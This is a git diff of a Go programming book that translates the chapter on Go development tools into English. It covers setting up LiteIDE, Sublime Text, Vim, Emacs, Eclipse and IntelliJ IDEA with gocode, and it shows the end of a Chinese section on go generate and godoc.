+这里我们来举一个简单的例子,例如我们经常会使用`yacc`来生成代码,那么我们常用这样的命令: + + go tool yacc -o gopher.go -p parser gopher.y + +-o 指定了输出的文件名, -p指定了package的名称,这是一个单独的命令,如果我们想让`go generate`来触发这个命令,那么就可以在当然目录的任意一个`xxx.go`文件里面的任意位置增加一行如下的注释: + + //go:generate go tool yacc -o gopher.go -p parser gopher.y + +这里我们注意了,`//go:generate`是没有任何空格的,这其实就是一个固定的格式,在扫描源码文件的时候就是根据这个来判断的。 + +所以我们可以通过如下的命令来生成,编译,测试。如果`gopher.y`文件有修改,那么就重新执行`go generate`重新生成文件就好。 + + $ go generate + $ go build + $ go test + + +## godoc + +在Go1.2版本之前还支持`go doc`命令,但是之后全部移到了godoc这个命令下,需要这样安装`go get golang.org/x/tools/cmd/godoc` + + 很多人说go不需要任何的第三方文档,例如chm手册之类的(其实我已经做了一个了,[chm手册](https://github.com/astaxie/godoc)),因为它内部就有一个很强大的文档工具。 + + 如何查看相应package的文档呢? + 例如builtin包,那么执行`godoc builtin` + 如果是http包,那么执行`godoc net/http` + 查看某一个包里面的函数,那么执行`godoc fmt Printf` + 也可以查看相应的代码,执行`godoc -src fmt Printf` + + 通过命令在命令行执行 godoc -http=:端口号 比如`godoc -http=:8080`。然后在浏览器中打开`127.0.0.1:8080`,你将会看到一个golang.org的本地copy版本,通过它你可以查询pkg文档等其它内容。如果你设置了GOPATH,在pkg分类下,不但会列出标准包的文档,还会列出你本地`GOPATH`中所有项目的相关文档,这对于经常被墙的用户来说是一个不错的选择。 + +## 其它命令 + + go还提供了其它很多的工具,例如下面的这些工具 + + go version 查看go当前的版本 + go env 查看当前go的环境变量 + go list 列出当前全部安装的package + go run 编译并运行Go程序 + +以上这些工具还有很多参数没有一一介绍,用户可以使用`go help 命令`获取更详细的帮助信息。 + + +## links + * [目录]() + * 上一节: [GOPATH与工作空间](<01.2.md>) + * 下一节: [Go开发工具](<01.4.md>) diff --git a/en/01.4.md b/en/01.4.md index 33f94fc8..d56bef42 100644 --- a/en/01.4.md +++ b/en/01.4.md @@ -1,430 +1,399 @@ -# 1.4 Go开发工具 - -本节我将介绍几个开发工具,它们都具有自动化提示,自动化fmt功能。因为它们都是跨平台的,所以安装步骤之类的都是通用的。 - -## LiteIDE - - LiteIDE是一款专门为Go语言开发的跨平台轻量级集成开发环境(IDE),由visualfc编写。 - - ![](images/1.4.liteide.png?raw=true) - -图1.4 LiteIDE主界面 - -**LiteIDE主要特点:** - -* 支持主流操作系统 - * Windows - * Linux - * MacOS X -* Go编译环境管理和切换 - * 管理和切换多个Go编译环境 - * 支持Go语言交叉编译 -* 与Go标准一致的项目管理方式 - * 基于GOPATH的包浏览器 - * 基于GOPATH的编译系统 - * 基于GOPATH的Api文档检索 -* Go语言的编辑支持 - * 类浏览器和大纲显示 - * Gocode(代码自动完成工具)的完美支持 - * Go语言文档查看和Api快速检索 - * 代码表达式信息显示`F1` - * 源代码定义跳转支持`F2` - * Gdb断点和调试支持 - * gofmt自动格式化支持 -* 其他特征 - * 支持多国语言界面显示 - * 完全插件体系结构 - * 支持编辑器配色方案 - * 基于Kate的语法显示支持 - * 基于全文的单词自动完成 - * 支持键盘快捷键绑定方案 - * Markdown文档编辑支持 - * 实时预览和同步显示 - * 自定义CSS显示 - * 可导出HTML和PDF文档 - * 批量转换/合并为HTML/PDF文档 - -**LiteIDE安装配置** - -* LiteIDE安装 - * 下载地址 - * 源码地址 - - 首先安装好Go语言环境,然后根据操作系统下载LiteIDE对应的压缩文件直接解压即可使用。 - -* 编译环境设置 - - 根据自身系统要求切换和配置LiteIDE当前使用的环境变量。 - - 以Windows操作系统,64位Go语言为例, - 工具栏的环境配置中选择win64,点`编辑环境`,进入LiteIDE编辑win64.env文件 - - GOROOT=c:\go - GOBIN= - GOARCH=amd64 - GOOS=windows - CGO_ENABLED=1 - - PATH=%GOBIN%;%GOROOT%\bin;%PATH% - 。。。 - - 将其中的`GOROOT=c:\go`修改为当前Go安装路径,存盘即可,如果有MinGW64,可以将`c:\MinGW64\bin`加入PATH中以便go调用gcc支持CGO编译。 - - 以Linux操作系统,64位Go语言为例, - 工具栏的环境配置中选择linux64,点`编辑环境`,进入LiteIDE编辑linux64.env文件 - - GOROOT=$HOME/go - GOBIN= - GOARCH=amd64 - GOOS=linux - CGO_ENABLED=1 - - PATH=$GOBIN:$GOROOT/bin:$PATH - 。。。 - - 将其中的`GOROOT=$HOME/go`修改为当前Go安装路径,存盘即可。 - -* GOPATH设置 - - Go语言的工具链使用GOPATH设置,是Go语言开发的项目路径列表,在命令行中输入(在LiteIDE中也可以`Ctrl+,`直接输入)`go help gopath`快速查看GOPATH文档。 - - 在LiteIDE中可以方便的查看和设置GOPATH。通过`菜单-查看-GOPATH`设置,可以查看系统中已存在的GOPATH列表, - 同时可根据需要添加项目目录到自定义GOPATH列表中。 - -## Sublime Text - - 这里将介绍Sublime Text 2(以下简称Sublime)+GoSublime的组合,那么为什么选择这个组合呢? - - - 自动化提示代码,如下图所示 - - ![](images/1.4.sublime1.png?raw=true) - - 图1.5 sublime自动化提示界面 - - - 保存的时候自动格式化代码,让您编写的代码更加美观,符合Go的标准。 - - 支持项目管理 - - ![](images/1.4.sublime2.png?raw=true) - - 图1.6 sublime项目管理界面 - - - 支持语法高亮 - - Sublime Text 2可免费使用,只是保存次数达到一定数量之后就会提示是否购买,点击取消继续用,和正式注册版本没有任何区别。 - - -接下来就开始讲如何安装,下载[Sublime](http://www.sublimetext.com/) - - 根据自己相应的系统下载相应的版本,然后打开Sublime,对于不熟悉Sublime的同学可以先看一下这篇文章[Sublime Text 2 入门及技巧](http://lucifr.com/139225/sublime-text-2-tricks-and-tips/) - - 1. 打开之后安装 Package Control:Ctrl+` 打开命令行,执行如下代码: - - import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' - - 这个时候重启一下Sublime,可以发现在在菜单栏多了一个如下的栏目,说明Package Control已经安装成功了。 - - ![](images/1.4.sublime3.png?raw=true) - - 图1.7 sublime包管理 - - - 2. 安装完之后就可以安装Sublime的插件了。需安装GoSublime、SidebarEnhancements和Go Build,安装插件之后记得重启Sublime生效,Ctrl+Shift+p打开Package Controll 输入`pcip`(即“Package Control: Install Package”的缩写)。 - - 这个时候看左下角显示正在读取包数据,完成之后出现如下界面 - - ![](images/1.4.sublime4.png?raw=true) - - 图1.8 sublime安装插件界面 - - 这个时候输入GoSublime,按确定就开始安装了。同理应用于SidebarEnhancements和Go Build。 - - 3. 验证是否安装成功,你可以打开Sublime,打开main.go,看看语法是不是高亮了,输入`import`是不是自动化提示了,`import "fmt"`之后,输入`fmt.`是不是自动化提示有函数了。 - - 如果已经出现这个提示,那说明你已经安装完成了,并且完成了自动提示。 - - 如果没有出现这样的提示,一般就是你的`$PATH`没有配置正确。你可以打开终端,输入gocode,是不是能够正确运行,如果不行就说明`$PATH`没有配置正确。 - (针对XP)有时候在终端能运行成功,但sublime无提示或者编译解码错误,请安装sublime text3和convert utf8插件试一试 - - 4. MacOS下已经设置了$GOROOT, $GOPATH, $GOBIN,还是没有自动提示怎么办。 - - 请在sublime中使用command + 9, 然后输入env检查$PATH, GOROOT, $GOPATH, $GOBIN等变量, 如果没有请采用下面的方法。 - - 首先建立下面的连接, 然后从Terminal中直接启动sublime - - ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime - - -## Vim -Vim是从vi发展出来的一个文本编辑器, 代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。 - -![](images/1.4.vim.png?raw=true) - -图1.9 VIM编辑器自动化提示Go界面 - - 1. 配置vim高亮显示 - - cp -r $GOROOT/misc/vim/* ~/.vim/ - - 2. 在~/.vimrc文件中增加语法高亮显示 - - filetype plugin indent on - syntax on - - 3. 安装[Gocode](https://github.com/nsf/gocode/) - - go get -u github.com/nsf/gocode - - gocode默认安装到`$GOPATH/bin`下面。 - - 4. 配置[Gocode](https://github.com/nsf/gocode/) - - ~ cd $GOPATH/src/github.com/nsf/gocode/vim - ~ ./update.bash - ~ gocode set propose-builtins true - propose-builtins true - ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" - lib-path "/home/border/gocode/pkg/linux_amd64" - ~ gocode set - propose-builtins true - lib-path "/home/border/gocode/pkg/linux_amd64" - - >gocode set里面的两个参数的含意说明: - > - >propose-builtins:是否自动提示Go的内置函数、类型和常量,默认为false,不提示。 - > - >lib-path:默认情况下,gocode只会搜索**$GOPATH/pkg/$GOOS_$GOARCH** 和 **$GOROOT/pkg/$GOOS_$GOARCH**目录下的包,当然这个设置就是可以设置我们额外的lib能访问的路径 - - - 5. 恭喜你,安装完成,你现在可以使用`:e main.go`体验一下开发Go的乐趣。 - -更多VIM 设定, 可参考[链接](http://monnand.me/p/vim-golang-environment/zhCN/) - -## Emacs -Emacs传说中的神器,她不仅仅是一个编辑器,它是一个整合环境,或可称它为集成开发环境,这些功能如让使用者置身于全功能的操作系统中。 - - ![](images/1.4.emacs.png?raw=true) - -图1.10 Emacs编辑Go主界面 - -1. 配置Emacs高亮显示 - - cp $GOROOT/misc/emacs/* ~/.emacs.d/ - -2. 安装[Gocode](https://github.com/nsf/gocode/) - - go get -u github.com/nsf/gocode - - gocode默认安装到`$GOBIN`里面下面。 - -3. 配置[Gocode](https://github.com/nsf/gocode/) - - - ~ cd $GOPATH/src/github.com/nsf/gocode/emacs - ~ cp go-autocomplete.el ~/.emacs.d/ - ~ gocode set propose-builtins true - propose-builtins true - ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // 换为你自己的路径 - lib-path "/home/border/gocode/pkg/linux_amd64" - ~ gocode set - propose-builtins true - lib-path "/home/border/gocode/pkg/linux_amd64" - -4. 需要安装 [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) - - 下载AutoComplete并解压 - - ~ make install DIR=$HOME/.emacs.d/auto-complete - - 配置~/.emacs文件 - - ;;auto-complete - (require 'auto-complete-config) - (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") - (ac-config-default) - (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) - (local-set-key "." 'semantic-complete-self-insert) - (local-set-key ">" 'semantic-complete-self-insert) - - 详细信息参考: http://www.emacswiki.org/emacs/AutoComplete - -5. 配置.emacs - - ;; golang mode - (require 'go-mode-load) - (require 'go-autocomplete) - ;; speedbar - ;; (speedbar 1) - (speedbar-add-supported-extension ".go") - (add-hook - 'go-mode-hook - '(lambda () - ;; gocode - (auto-complete-mode 1) - (setq ac-sources '(ac-source-go)) - ;; Imenu & Speedbar - (setq imenu-generic-expression - '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) - ("func" "^func *\\(.*\\) {" 1))) - (imenu-add-to-menubar "Index") - ;; Outline mode - (make-local-variable 'outline-regexp) - (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") - (outline-minor-mode 1) - (local-set-key "\M-a" 'outline-previous-visible-heading) - (local-set-key "\M-e" 'outline-next-visible-heading) - ;; Menu bar - (require 'easymenu) - (defconst go-hooked-menu - '("Go tools" - ["Go run buffer" go t] - ["Go reformat buffer" go-fmt-buffer t] - ["Go check buffer" go-fix-buffer t])) - (easy-menu-define - go-added-menu - (current-local-map) - "Go tools" - go-hooked-menu) - - ;; Other - (setq show-trailing-whitespace t) - )) - ;; helper function - (defun go () - "run current buffer" - (interactive) - (compile (concat "go run " (buffer-file-name)))) - - ;; helper function - (defun go-fmt-buffer () - "run gofmt on current buffer" - (interactive) - (if buffer-read-only - (progn - (ding) - (message "Buffer is read only")) - (let ((p (line-number-at-pos)) - (filename (buffer-file-name)) - (old-max-mini-window-height max-mini-window-height)) - (show-all) - (if (get-buffer "*Go Reformat Errors*") - (progn - (delete-windows-on "*Go Reformat Errors*") - (kill-buffer "*Go Reformat Errors*"))) - (setq max-mini-window-height 1) - (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) - (progn - (erase-buffer) - (insert-buffer-substring "*Go Reformat Output*") - (goto-char (point-min)) - (forward-line (1- p))) - (with-current-buffer "*Go Reformat Errors*" - (progn - (goto-char (point-min)) - (while (re-search-forward "" nil t) - (replace-match filename)) - (goto-char (point-min)) - (compilation-mode)))) - (setq max-mini-window-height old-max-mini-window-height) - (delete-windows-on "*Go Reformat Output*") - (kill-buffer "*Go Reformat Output*")))) - ;; helper function - (defun go-fix-buffer () - "run gofix on current buffer" - (interactive) - (show-all) - (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) - -6. 恭喜你,你现在可以体验在神器中开发Go的乐趣。默认speedbar是关闭的,如果打开需要把 ;; (speedbar 1) 前面的注释去掉,或者也可以通过 *M-x speedbar* 手动开启。 - -## Eclipse -Eclipse也是非常常用的开发利器,以下介绍如何使用Eclipse来编写Go程序。 - - ![](images/1.4.eclipse1.png?raw=true) - -图1.11 Eclipse编辑Go的主界面 - -1. 首先下载并安装好[Eclipse](http://www.eclipse.org/) - -2. 下载[goclipse](https://code.google.com/p/goclipse/)插件 - - http://code.google.com/p/goclipse/wiki/InstallationInstructions - -3. 下载gocode,用于go的代码补全提示 - - gocode的github地址: - - https://github.com/nsf/gocode - - 在windows下要安装git,通常用[msysgit](https://code.google.com/p/msysgit/) - - 再在cmd下安装: - - go get -u github.com/nsf/gocode - - 也可以下载代码,直接用go build来编译,会生成gocode.exe - -4. 下载[MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)并按要求装好 - -5. 配置插件 - - Windows->Reference->Go - - (1).配置Go的编译器 - - ![](images/1.4.eclipse2.png?raw=true) - - 图1.12 设置Go的一些基础信息 - - - (2).配置Gocode(可选,代码补全),设置Gocode路径为之前生成的gocode.exe文件 - - ![](images/1.4.eclipse3.png?raw=true) - - 图1.13 设置gocode信息 - - (3).配置GDB(可选,做调试用),设置GDB路径为MingW安装目录下的gdb.exe文件 - - ![](images/1.4.eclipse4.png?raw=true) - - 图1.14 设置GDB信息 - -6. 测试是否成功 - - 新建一个go工程,再建立一个hello.go。如下图: - - ![](images/1.4.eclipse5.png?raw=true) - - 图1.15 新建项目编辑文件 - - 调试如下(要在console中用输入命令来调试): - - ![](images/1.4.eclipse6.png?raw=true) - - 图1.16 调试Go程序 - -## IntelliJ IDEA -熟悉Java的读者应该对于idea不陌生,idea是通过一个插件来支持go语言的高亮语法,代码提示和重构实现。 - -1. 先下载idea,idea支持多平台:win,mac,linux,如果有钱就买个正式版,如果不行就使用社区免费版,对于只是开发Go语言来说免费版足够用了 - - ![](images/1.4.idea1.png?raw=true) - -2. 安装Go插件,点击菜单File中的Setting,找到Plugins,点击,Broswer repo按钮。国内的用户可能会报错,自己解决哈。 - - ![](images/1.4.idea3.png?raw=true) - -3. 这时候会看见很多插件,搜索找到Golang,双击,download and install。等到golang那一行后面出现Downloaded标志后,点OK。 - - ![](images/1.4.idea4.png?raw=true) - - 然后点 Apply .这时候IDE会要求你重启。 - -4. 重启完毕后,创建新项目会发现已经可以创建golang项目了: - - ![](images/1.4.idea5.png?raw=true) - - 下一步,会要求你输入 go sdk的位置,一般都安装在C:\Go,linux和mac根据自己的安装目录设置,选中目录确定,就可以了。 - -## links - * [目录]() - * 上一节: [Go 命令](<01.3.md>) - * 下一节: [总结](<01.5.md>) +# Go development tools + +In this section, I'm going to show you a few IDEs that can help you become a more efficient programmer, with capabilities such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you should not be very different, even if you are not using the same operating system. + +## LiteIDE + +LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc. + +![](images/1.4.liteide.png?raw=true) + +Figure 1.4 Main panel of LiteIDE + +LiteIDE features. + +- Cross-platform + - Windows + - Linux + - Mac OS +- Cross-compile + - Manage multiple compile environments + - Supports cross-compilation of Go +- Project management standard + - Documentation view based on $GOPATH + - Compilation system based on $GOPATH + - API documentation index based on $GOPATH +- Go source code editor + - Code outlining + - Full support of gocode + - Go documentation view and API index + - View code expression using `F1` + - Function declaration jump using `F2` + - Gdb support + - Auto-format with `gofmt` +- Others + - Multi-language + - Plugin system + - Text editor themes + - Syntax support based on Kate + - intelligent completion based on full-text + - Customized shortcuts + - Markdown support + - Real-time preview + - Customized CSS + - Export HTML and PDF + - Convert and merge to HTML and PDF + +### LiteIDE installation + +- Install LiteIDE + - [Download page](http://code.google.com/p/golangide) + - [Source code](https://github.com/visualfc/liteide) + + You need to install Go first, then download the version appropriate for your operating system. Decompress the package to directly use it. +- Install gocode + + You have to install gocode in order to use intelligent completion + + go get -u github.com/nsf/gocode + +- Compilation environment + + Switch configuration in LiteIDE to suit your operating system. + In Windows and using the 64-bit version of Go, you should choose win64 as the configuration environment in the tool bar. Then, choose `opinion`, find `LiteEnv` in the left list and open file `win64.env` in the right list. + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + Replace `GOROOT=c:\go` to your Go installation path, save it. If you have MinGW64, add `c:\MinGW64\bin` to your path environment variable for `cgo` support. + + In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar. Then, choose `opinion`, find `LiteEnv` in the left list and open the `linux64.env` file in the right list. + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + Replace `GOROOT=$HOME/go` to your Go installation path, save it. +- $GOPATH + $GOPATH is the path that contains a list of projects. Open the command tool (or press `Ctrl+` in LiteIDE), then type `go help gopath` for more details. + It's very easy to view and change $GOPATH in LiteIDE. Follow `View - Setup GOPATH` to view and change these values. + +## Sublime Text + +Here I'm going to introduce you the Sublime Text 2 (Sublime for short) + GoSublime + gocode + MarGo. Let me explain why. + +- Intelligent completion + + ![](images/1.4.sublime1.png?raw=true) + + Figure 1.5 Sublime intelligent completion +- Auto-format source files +- Project management + + ![](images/1.4.sublime2.png?raw=true) + + Figure 1.6 Sublime project management + +- Syntax highlight +- Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a licnese, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you really enjoy using it, please purchase a copy of it and support its continued development! + +First, download the version of [Sublime](http://www.sublimetext.com/) suitable for your operating system. + +1. Press `Ctrl+`, open the command tool and input the following commands. + + import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' + + Restart Sublime text when the installation has finished. You should then find a `Package Control` option in the "Preferences" menu. + + ![](images/1.4.sublime3.png?raw=true) + + Figure 1.7 Sublime Package Control +2. To install GoSublime, SidebarEnhancements and Go Build, press `Ctrl+Shift+p` to open Package Control, then type `pcip` (short for "Package Control: Install Package"). + + ![](images/1.4.sublime4.png?raw=true) + + Figure 1.8 Sublime Install Packages + + Now type in "GoSublime", press OK to install the package, and repeat the same steps for installing SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation. +3. To verify that the installation is successful, open Sublime, then open the `main.go` file to see if it has the proper syntax highlighting. Type `import` to see if code completion prompts appear. After typing `import "fmt"`, type `fmt.` anywhere after the `import` declaration to see whether or not intelligent code completion for functions was successfully enabled. + + If everything is fine, you're all set. + + If not, check your $PATH again. Open terminal, type `gocode`. If it does not run, your $PATH was not configured correctly. + +## Vim + +Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent completion, compilation and jumping to errors. + +![](images/1.4.vim.png?raw=true) + +Figure 1.8 Vim intelligent completion for Go + +1. Syntax highlighting for Go + + cp -r $GOROOT/misc/vim/* ~/.vim/ + +2. Enabling syntax highlighting + + filetype plugin indent on + syntax on + +3. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default + +4. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + Explanation of gocode configuration: + + propose-builtins: specifies whether or not to open intelligent completion; false by default. + lib-path: gocode only searches for packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`. This setting can be used to add additional paths. + +5. Congratulations! Try `:e main.go` to experience the world of Go! + +## Emacs + +Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE. + +![](images/1.4.emacs.png?raw=true) + +Figure 1.10 Emacs main panel of Go editor + +1. Syntax highlighting + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default +3. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. Install [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) + Download and uncompress + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + Configure ~/.emacs file + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + Follow this [link](http://www.emacswiki.org/emacs/AutoComplete) for more details. +5. Configure .emacs + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) +6. Congratulations, you're done! Speedbar is closed by default -remove the comment symbols in the line `;;(speedbar 1)` to enable this feature, or you can use it through `M-x speedbar`. + +## Eclipse + +Eclipse is also a great development tool. I'll show you how to use it to write Go programs. + +![](images/1.4.eclipse1.png?raw=true) + +Figure 1.1 Eclipse main panel for editing Go + +1. Download and install [Eclipse](http://www.eclipse.org/) +2. Download [goclipse](https://code.google.com/p/goclipse/) + [http://code.google.com/p/goclipse/wiki/InstallationInstructions](http://code.google.com/p/goclipse/wiki/InstallationInstructions) +3. Download gocode + + gocode in Github. + + https://github.com/nsf/gocode + + You need to install git in Windows, usually we use [msysgit](https://code.google.com/p/msysgit/) + + Install gocode in the command tool + + go get -u github.com/nsf/gocode + + You can install from source code if you like. +4. Download and install [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/) +5. Configure plugins. + + Windows->Preferences->Go + + (1).Configure Go compiler + + ![](images/1.4.eclipse2.png?raw=true) + + Figure 1.12 Go Setting in Eclipse + + (2).Configure gocode(optional), set gocode path to where the gocode.exe is. + + ![](images/1.4.eclipse3.png?raw=true) + + Figure 1.13 gocode Setting + + (3).Configure gdb(optional), set gdb path to where the gdb.exe is. + + ![](images/1.4.eclipse4.png?raw=true) + + Figure 1.14 gdb Setting +6. Check the installation + + Create a new Go project and hello.go file as following. + + ![](images/1.4.eclipse5.png?raw=true) + + Figure 1.15 Create new project and file + + Test installation as follows.(you need to type command in console in Eclipse) + + ![](images/1.4.eclipse6.png?raw=true) + + Figure 1.16 Test Go program in Eclipse + +## IntelliJ IDEA + +People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code completion, implemented by a plugin. + +1. Download IDEA, there is no difference between the Ultimate and Community editions + + ![](images/1.4.idea1.png?raw=true) + +2. Install the Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`. + + ![](images/1.4.idea3.png?raw=true) + +3. Search `golang`, double click `download and install` and wait for the download to complete. + + ![](images/1.4.idea4.png?raw=true) + + Click `Apply`, then restart. +4. Now you can create a Go project. + + ![](images/1.4.idea5.png?raw=true) + + Input the position of your Go sdk in the next step -basically it's your $GOROOT. + +( ***See a [blog post](http://wuwen.org/tips-about-using-intellij-idea-and-go/) for setup and use IntelliJ IDEA with Go step by step *** ) + +## Links + +- [Directory](preface.md) +- Previous section: [Go commands](01.3.md) +- Next section: [Summary](01.5.md) diff --git a/en/01.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/01.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..811e2d8a --- /dev/null +++ b/en/01.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,430 @@ +# 1.4 Go开发工具 + +本节我将介绍几个开发工具,它们都具有自动化提示,自动化fmt功能。因为它们都是跨平台的,所以安装步骤之类的都是通用的。 + +## LiteIDE + + LiteIDE是一款专门为Go语言开发的跨平台轻量级集成开发环境(IDE),由visualfc编写。 + + ![](images/1.4.liteide.png?raw=true) + +图1.4 LiteIDE主界面 + +**LiteIDE主要特点:** + +* 支持主流操作系统 + * Windows + * Linux + * MacOS X +* Go编译环境管理和切换 + * 管理和切换多个Go编译环境 + * 支持Go语言交叉编译 +* 与Go标准一致的项目管理方式 + * 基于GOPATH的包浏览器 + * 基于GOPATH的编译系统 + * 基于GOPATH的Api文档检索 +* Go语言的编辑支持 + * 类浏览器和大纲显示 + * Gocode(代码自动完成工具)的完美支持 + * Go语言文档查看和Api快速检索 + * 代码表达式信息显示`F1` + * 源代码定义跳转支持`F2` + * Gdb断点和调试支持 + * gofmt自动格式化支持 +* 其他特征 + * 支持多国语言界面显示 + * 完全插件体系结构 + * 支持编辑器配色方案 + * 基于Kate的语法显示支持 + * 基于全文的单词自动完成 + * 支持键盘快捷键绑定方案 + * Markdown文档编辑支持 + * 实时预览和同步显示 + * 自定义CSS显示 + * 可导出HTML和PDF文档 + * 批量转换/合并为HTML/PDF文档 + +**LiteIDE安装配置** + +* LiteIDE安装 + * 下载地址 + * 源码地址 + + 首先安装好Go语言环境,然后根据操作系统下载LiteIDE对应的压缩文件直接解压即可使用。 + +* 编译环境设置 + + 根据自身系统要求切换和配置LiteIDE当前使用的环境变量。 + + 以Windows操作系统,64位Go语言为例, + 工具栏的环境配置中选择win64,点`编辑环境`,进入LiteIDE编辑win64.env文件 + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + 将其中的`GOROOT=c:\go`修改为当前Go安装路径,存盘即可,如果有MinGW64,可以将`c:\MinGW64\bin`加入PATH中以便go调用gcc支持CGO编译。 + + 以Linux操作系统,64位Go语言为例, + 工具栏的环境配置中选择linux64,点`编辑环境`,进入LiteIDE编辑linux64.env文件 + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 